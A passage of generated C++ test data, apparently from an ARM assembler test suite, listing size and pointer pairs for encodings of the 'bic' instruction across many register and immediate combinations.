kInstruction_bic_al_r12_r6_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r2_0x3fc00000), kInstruction_bic_al_r14_r2_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r3_0x01560000), kInstruction_bic_al_r3_r3_0x01560000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r12_0x0001fe00), kInstruction_bic_al_r3_r12_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r10_0x000002ac), kInstruction_bic_al_r8_r10_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x002ac000), kInstruction_bic_al_r9_r9_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r6_0x00156000), kInstruction_bic_al_r0_r6_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r7_0x0ff00000), kInstruction_bic_al_r14_r7_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r3_0x00005580), kInstruction_bic_al_r1_r3_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r7_0x000001fe), kInstruction_bic_al_r14_r7_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r5_0x03fc0000), kInstruction_bic_al_r9_r5_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r14_0x002ac000), kInstruction_bic_al_r7_r14_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r9_0x00000558), kInstruction_bic_al_r8_r9_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r1_0x007f8000), kInstruction_bic_al_r14_r1_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r0_0xab00ab00), kInstruction_bic_al_r11_r0_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r8_0x00000156), kInstruction_bic_al_r11_r8_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r10_0x00055800), kInstruction_bic_al_r4_r10_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r7_0x00007f80), kInstruction_bic_al_r2_r7_0x00007f80, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r6_0x00558000), kInstruction_bic_al_r0_r6_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r2_0x00558000), kInstruction_bic_al_r4_r2_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r3_0x0007f800), kInstruction_bic_al_r2_r3_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r14_0xab00ab00), kInstruction_bic_al_r14_r14_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r13_0x000000ff), kInstruction_bic_al_r0_r13_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r9_0xab00ab00), kInstruction_bic_al_r10_r9_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r1_0x3fc00000), kInstruction_bic_al_r1_r1_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r6_0x002ac000), kInstruction_bic_al_r8_r6_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r4_0x55800000), kInstruction_bic_al_r12_r4_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r10_0x2ac00000), kInstruction_bic_al_r6_r10_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r9_0x001fe000), kInstruction_bic_al_r7_r9_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r12_0x00005580), kInstruction_bic_al_r4_r12_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r8_0x0ab00000), kInstruction_bic_al_r9_r8_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r4_0xff00ff00), kInstruction_bic_al_r2_r4_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r14_0x00001fe0), kInstruction_bic_al_r8_r14_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r3_0x003fc000), kInstruction_bic_al_r5_r3_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r10_0x00ff00ff), kInstruction_bic_al_r2_r10_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0x15600000), kInstruction_bic_al_r11_r12_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r5_0x00002ac0), kInstruction_bic_al_r1_r5_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x2ac00000), kInstruction_bic_al_r3_r7_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r1_0xffffffff), kInstruction_bic_al_r5_r1_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r10_0xff00ff00), kInstruction_bic_al_r4_r10_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r2_0x00001fe0), kInstruction_bic_al_r1_r2_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r14_0x000000ff), kInstruction_bic_al_r5_r14_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r0_0x000ab000), kInstruction_bic_al_r14_r0_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r3_0x00ab0000), kInstruction_bic_al_r10_r3_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r12_0x03fc0000), kInstruction_bic_al_r10_r12_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r11_0x0007f800), kInstruction_bic_al_r8_r11_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r13_0x0001fe00), kInstruction_bic_al_r9_r13_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r13_0x02ac0000), kInstruction_bic_al_r12_r13_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r9_0x00ab00ab), kInstruction_bic_al_r3_r9_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r1_0x3fc00000), kInstruction_bic_al_r10_r1_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r8_0x00000558), kInstruction_bic_al_r6_r8_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r12_0x0000ab00), kInstruction_bic_al_r6_r12_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r13_0x000ab000), kInstruction_bic_al_r14_r13_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r5_0x1fe00000), kInstruction_bic_al_r1_r5_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r3_0x02ac0000), kInstruction_bic_al_r11_r3_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r5_0x55800000), kInstruction_bic_al_r9_r5_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r5_0x000ab000), kInstruction_bic_al_r5_r5_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r12_0x003fc000), kInstruction_bic_al_r0_r12_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r4_0x0000ab00), kInstruction_bic_al_r10_r4_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r2_0x0000ff00), kInstruction_bic_al_r3_r2_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r8_0x3fc00000), kInstruction_bic_al_r14_r8_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r13_0x05580000), kInstruction_bic_al_r10_r13_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r13_0x00156000), kInstruction_bic_al_r4_r13_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r2_0x000002ac), kInstruction_bic_al_r7_r2_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r10_0x000002ac), kInstruction_bic_al_r5_r10_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r0_0xab000000), kInstruction_bic_al_r7_r0_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r10_0x000002ac), kInstruction_bic_al_r1_r10_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r9_0x00002ac0), kInstruction_bic_al_r11_r9_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r0_0x000001fe), kInstruction_bic_al_r4_r0_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r9_0x0003fc00), kInstruction_bic_al_r11_r9_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r3_0x00005580), kInstruction_bic_al_r8_r3_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r4_0xffffffff), kInstruction_bic_al_r4_r4_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r9_0x00000558), kInstruction_bic_al_r1_r9_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r2_0x00ab0000), kInstruction_bic_al_r9_r2_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r6_0x00003fc0), kInstruction_bic_al_r11_r6_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r11_0x01fe0000), kInstruction_bic_al_r11_r11_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r10_0x0001fe00), kInstruction_bic_al_r6_r10_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r3_0x00000156), kInstruction_bic_al_r8_r3_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r12_0x0002ac00), kInstruction_bic_al_r12_r12_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r6_0x7f800000), kInstruction_bic_al_r8_r6_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r13_0x000002ac), kInstruction_bic_al_r5_r13_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r13_0x15600000), kInstruction_bic_al_r5_r13_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r8_0x000000ab), kInstruction_bic_al_r8_r8_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r14_0x00156000), kInstruction_bic_al_r12_r14_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r7_0x003fc000), kInstruction_bic_al_r1_r7_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r0_0x00003fc0), kInstruction_bic_al_r8_r0_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r11_0x0007f800), kInstruction_bic_al_r14_r11_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r8_0x00ab00ab), kInstruction_bic_al_r3_r8_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r8_0x55800000), kInstruction_bic_al_r14_r8_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r8_0x000ff000), kInstruction_bic_al_r7_r8_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r11_0x01fe0000), kInstruction_bic_al_r4_r11_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r4_0x01560000), kInstruction_bic_al_r2_r4_0x01560000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r3_0xffffffff), kInstruction_bic_al_r4_r3_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r8_0xab000000), kInstruction_bic_al_r7_r8_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r13_0x00000ab0), kInstruction_bic_al_r0_r13_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r2_0x000001fe), kInstruction_bic_al_r1_r2_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r14_0x02ac0000), kInstruction_bic_al_r8_r14_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r5_0x00558000), kInstruction_bic_al_r4_r5_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r7_0xff00ff00), kInstruction_bic_al_r6_r7_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r12_0x001fe000), kInstruction_bic_al_r8_r12_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r4_0x07f80000), kInstruction_bic_al_r6_r4_0x07f80000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r0_0x00001fe0), kInstruction_bic_al_r4_r0_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r3_0xff00ff00), kInstruction_bic_al_r14_r3_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r6_0xab000000), kInstruction_bic_al_r0_r6_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r13_0x00000ab0), kInstruction_bic_al_r12_r13_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r8_0x00000558), kInstruction_bic_al_r12_r8_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r12_0x0003fc00), kInstruction_bic_al_r3_r12_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r11_0x7f800000), kInstruction_bic_al_r2_r11_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r4_0x15600000), kInstruction_bic_al_r10_r4_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r7_0x0ab00000), kInstruction_bic_al_r8_r7_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r6_0x000000ff), kInstruction_bic_al_r10_r6_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r4_0xff00ff00), kInstruction_bic_al_r3_r4_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x00ab0000), kInstruction_bic_al_r14_r10_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r3_0x0002ac00), kInstruction_bic_al_r8_r3_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r8_0x00000558), kInstruction_bic_al_r8_r8_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r4_0x00015600), kInstruction_bic_al_r12_r4_0x00015600, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r1_0x002ac000), kInstruction_bic_al_r8_r1_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r5_0x000000ab), kInstruction_bic_al_r8_r5_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r6_0x000000ab), kInstruction_bic_al_r6_r6_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r7_0x00002ac0), kInstruction_bic_al_r5_r7_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r4_0x00000ff0), kInstruction_bic_al_r11_r4_0x00000ff0, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x00000ff0), kInstruction_bic_al_r9_r9_0x00000ff0, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x00ff0000), kInstruction_bic_al_r0_r8_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r11_0x000000ab), kInstruction_bic_al_r9_r11_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r5_0x000000ff), kInstruction_bic_al_r7_r5_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r0_0x15600000), kInstruction_bic_al_r14_r0_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r9_0x00000156), kInstruction_bic_al_r10_r9_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x00ff0000), kInstruction_bic_al_r3_r7_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r11_0xab00ab00), kInstruction_bic_al_r6_r11_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r2_0x002ac000), kInstruction_bic_al_r5_r2_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r14_0x55800000), kInstruction_bic_al_r9_r14_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r13_0x15600000), kInstruction_bic_al_r10_r13_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r7_0x0ff00000), kInstruction_bic_al_r13_r7_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r5_0xffffffff), kInstruction_bic_al_r12_r5_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r10_0x00000156), kInstruction_bic_al_r8_r10_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0x00005580), kInstruction_bic_al_r7_r6_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r6_0x0ab00000), kInstruction_bic_al_r6_r6_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x01fe0000), kInstruction_bic_al_r3_r7_0x01fe0000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r9_0x00558000), kInstruction_bic_al_r14_r9_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r13_0x000007f8), kInstruction_bic_al_r3_r13_0x000007f8, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r2_0x00055800), kInstruction_bic_al_r10_r2_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r14_0x00005580), kInstruction_bic_al_r5_r14_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r12_0xab000000), kInstruction_bic_al_r9_r12_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r14_0x00000156), kInstruction_bic_al_r2_r14_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r10_0x000ff000), kInstruction_bic_al_r6_r10_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r7_0x000007f8), kInstruction_bic_al_r6_r7_0x000007f8, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r3_0x7f800000), kInstruction_bic_al_r8_r3_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r12_0x15600000), kInstruction_bic_al_r0_r12_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r6_0x00558000), kInstruction_bic_al_r1_r6_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r8_0x55800000), kInstruction_bic_al_r3_r8_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r14_0x000003fc), kInstruction_bic_al_r1_r14_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r2_0x0ab00000), kInstruction_bic_al_r0_r2_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r12_0x00000156), kInstruction_bic_al_r10_r12_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r14_0x03fc0000), kInstruction_bic_al_r12_r14_0x03fc0000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r5_0x0001fe00), kInstruction_bic_al_r2_r5_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r11_0x000ab000), kInstruction_bic_al_r5_r11_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r14_0x0001fe00), kInstruction_bic_al_r14_r14_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r2_0x00003fc0), kInstruction_bic_al_r13_r2_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0xab000000), kInstruction_bic_al_r0_r8_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r0_0x000000ab), kInstruction_bic_al_r12_r0_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r10_0x002ac000), kInstruction_bic_al_r11_r10_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r11_0x00ab0000), kInstruction_bic_al_r12_r11_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r9_0x0ff00000), kInstruction_bic_al_r2_r9_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r4_0x000001fe), kInstruction_bic_al_r7_r4_0x000001fe, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0x0000ff00), kInstruction_bic_al_r7_r6_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r14_0x05580000), kInstruction_bic_al_r11_r14_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r10_0x00000558), kInstruction_bic_al_r6_r10_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r6_0x0001fe00), kInstruction_bic_al_r11_r6_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0xab00ab00), kInstruction_bic_al_r11_r12_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r8_0x7f800000), kInstruction_bic_al_r1_r8_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r3_0x0000ff00), kInstruction_bic_al_r4_r3_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r4_0x00ff00ff), kInstruction_bic_al_r5_r4_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r11_0x2ac00000), kInstruction_bic_al_r12_r11_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r6_0xab00ab00), kInstruction_bic_al_r1_r6_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r3_0x000000ab), kInstruction_bic_al_r6_r3_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r11_0x0007f800), kInstruction_bic_al_r2_r11_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r0_0x00001560), kInstruction_bic_al_r3_r0_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r14_0x00000558), kInstruction_bic_al_r1_r14_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r8_0x00558000), kInstruction_bic_al_r10_r8_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r8_0x000ff000), kInstruction_bic_al_r0_r8_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r6_0x007f8000), kInstruction_bic_al_r13_r6_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r10_0x000002ac), kInstruction_bic_al_r3_r10_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r2_0x0003fc00), kInstruction_bic_al_r12_r2_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r5_0x02ac0000), kInstruction_bic_al_r5_r5_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0x001fe000), kInstruction_bic_al_r11_r12_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r14_0x001fe000), kInstruction_bic_al_r0_r14_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r14_0x02ac0000), kInstruction_bic_al_r0_r14_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r7_0x0ff00000), kInstruction_bic_al_r6_r7_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r13_0x00000156), kInstruction_bic_al_r10_r13_0x00000156, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r7_0x000007f8), kInstruction_bic_al_r3_r7_0x000007f8, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r10_0x000000ab), kInstruction_bic_al_r4_r10_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r6_0x00000558), kInstruction_bic_al_r0_r6_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r1_0x05580000), kInstruction_bic_al_r1_r1_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r2_0x00001560), kInstruction_bic_al_r8_r2_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r5_0x0001fe00), kInstruction_bic_al_r9_r5_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r9_0x0ab00000), kInstruction_bic_al_r13_r9_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r9_0x00007f80), kInstruction_bic_al_r13_r9_0x00007f80, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r5_0x0000ab00), kInstruction_bic_al_r10_r5_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r13_0x007f8000), kInstruction_bic_al_r6_r13_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r9_0x000ab000), kInstruction_bic_al_r5_r9_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r4_0x000000ab), kInstruction_bic_al_r4_r4_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r5_0xab00ab00), kInstruction_bic_al_r13_r5_0xab00ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r3_0x00005580), kInstruction_bic_al_r12_r3_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r10_0x55800000), kInstruction_bic_al_r0_r10_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r8_0x00ab00ab), kInstruction_bic_al_r2_r8_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r5_0x0003fc00), kInstruction_bic_al_r11_r5_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r0_0x00ab0000), kInstruction_bic_al_r11_r0_0x00ab0000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r2_0x000002ac), kInstruction_bic_al_r10_r2_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r12_0x00055800), kInstruction_bic_al_r11_r12_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r13_0x00000ff0), kInstruction_bic_al_r5_r13_0x00000ff0, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r14_0x15600000), kInstruction_bic_al_r4_r14_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r1_0x00003fc0), kInstruction_bic_al_r10_r1_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r8_0xff000000), kInstruction_bic_al_r14_r8_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r0_0x00ff0000), kInstruction_bic_al_r12_r0_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r5_0x3fc00000), kInstruction_bic_al_r4_r5_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x3fc00000), kInstruction_bic_al_r14_r10_0x3fc00000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r1_0x00015600), kInstruction_bic_al_r10_r1_0x00015600, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r3_0xff000000), kInstruction_bic_al_r4_r3_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r10_0x02ac0000), kInstruction_bic_al_r10_r10_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x000ff000), kInstruction_bic_al_r9_r9_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r7_0x0002ac00), kInstruction_bic_al_r13_r7_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r8_0x00001fe0), kInstruction_bic_al_r7_r8_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r4_0x00001560), kInstruction_bic_al_r2_r4_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r7_0x00156000), kInstruction_bic_al_r13_r7_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r9_0x000003fc), kInstruction_bic_al_r9_r9_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r3_0x000ab000), kInstruction_bic_al_r0_r3_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r12_0x0000ab00), kInstruction_bic_al_r10_r12_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r13_0x00002ac0), kInstruction_bic_al_r1_r13_0x00002ac0, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r10_0x001fe000), kInstruction_bic_al_r3_r10_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r12_0x00ff00ff), kInstruction_bic_al_r4_r12_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r5_0x003fc000), kInstruction_bic_al_r12_r5_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r2_0x0001fe00), kInstruction_bic_al_r11_r2_0x0001fe00, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r6_0x0007f800), kInstruction_bic_al_r8_r6_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r1_0x000000ff), kInstruction_bic_al_r11_r1_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r5_r2_0x007f8000), kInstruction_bic_al_r5_r2_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r10_0xab000000), kInstruction_bic_al_r8_r10_0xab000000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r3_0x000ff000), kInstruction_bic_al_r10_r3_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r0_0x00ff0000), kInstruction_bic_al_r6_r0_0x00ff0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r14_0x0ff00000), kInstruction_bic_al_r7_r14_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r3_0x00001560), kInstruction_bic_al_r8_r3_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r9_0x00000558), kInstruction_bic_al_r13_r9_0x00000558, }, { 